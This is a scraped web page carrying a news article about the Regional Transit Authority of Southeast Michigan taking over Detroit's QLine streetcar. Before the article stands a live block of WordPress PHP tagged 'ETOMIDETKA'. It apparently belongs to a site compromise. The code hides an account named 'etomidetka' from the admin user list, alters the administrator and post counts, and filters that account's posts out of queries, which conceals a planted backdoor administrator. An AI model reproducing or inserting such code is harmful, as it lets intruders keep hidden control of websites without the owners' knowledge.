//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); RTA Will Take Over The Detroit QLine Streetcar
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RTA Will Take Over The Detroit QLine Streetcar

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RTA Will Take Over The Detroit QLine Streetcar

RTA Will Take Over The Detroit QLine Streetcar. The Regional Transit Authority (RTA) of Southeast Michigan is set to take control of Detroit’s QLine streetcar system. This historic decision, approved by the RTA Board on September 19, 2024, will officially transfer ownership and operations to the RTA, with the transition expected to be completed by September 30, 2024.

The History of the QLine

The QLine, originally known as M-1 RAIL, was launched as a non-profit initiative in 2007. It aimed to design, construct, and operate a 3.3-mile streetcar line along Detroit’s iconic Woodward Avenue. The service officially began in May 2017, utilizing six modern streetcars built by Brookville Equipment Corporation. The route features both wired and wireless segments, with cars operating on battery power in areas where overhead wires were deemed inappropriate.

Why the Transition?

The decision to bring the QLine under the RTA’s management is rooted in the desire to integrate the streetcar system into the larger regional transit network. RTA Executive Director Ben Stupka highlighted the vision of creating a more cohesive and accessible transit system for Southeast Michigan. The inclusion of the QLine in the RTA network aims to improve service coordination, streamline operations, and enhance the overall experience for riders.

Funding and Future Plans

For the fiscal year 2025, the QLine’s budget stands at $10.59 million, predominantly funded through state resources. While the service is currently free, it has implemented fare charges in the past, and future pricing policies remain under consideration as the RTA seeks to balance accessibility with financial sustainability.

The RTA plans to continue exploring ways to optimize the QLine’s service, including potential route expansions, enhanced connectivity with other transit services, and technology upgrades to improve operational efficiency. Integrating the QLine more fully into the regional transit infrastructure is expected to support broader economic development and mobility goals in Detroit and the surrounding communities.

The Impact on Detroit and Regional Transit

The integration of the QLine into the RTA system marks a significant step forward for public transit in Southeast Michigan. This move is expected to foster a more unified and efficient transit network, benefiting both residents and visitors. Improved coordination between bus, rail, and streetcar services will offer a more seamless transit experience, potentially boosting ridership and supporting economic growth in the region.

Additionally, this transition aligns with broader efforts to revitalize Detroit’s public transportation system. The city has seen renewed investment in transit infrastructure, and the inclusion of the QLine under the RTA umbrella reflects a commitment to creating a robust, multi-modal transportation network.

Challenges Ahead

While the transition to RTA management presents numerous opportunities, it also comes with challenges. One of the primary concerns is maintaining the financial viability of the QLine, particularly if fare charges are reintroduced. Additionally, ensuring the system’s reliability and addressing any operational issues will be critical as the RTA takes on this new responsibility.

Public engagement and support will be vital in navigating these challenges. The RTA has indicated a commitment to working closely with the community to address concerns and develop solutions that meet the needs of all stakeholders.

Conclusion

The RTA’s takeover of the Detroit QLine streetcar represents a transformative moment for public transit in Southeast Michigan. As the QLine becomes an official part of the regional transit system, there is potential for enhanced connectivity, increased ridership, and improved service quality. With thoughtful planning and community collaboration, this transition could pave the way for a more vibrant and accessible public transportation network, supporting Detroit’s ongoing revitalization and growth.

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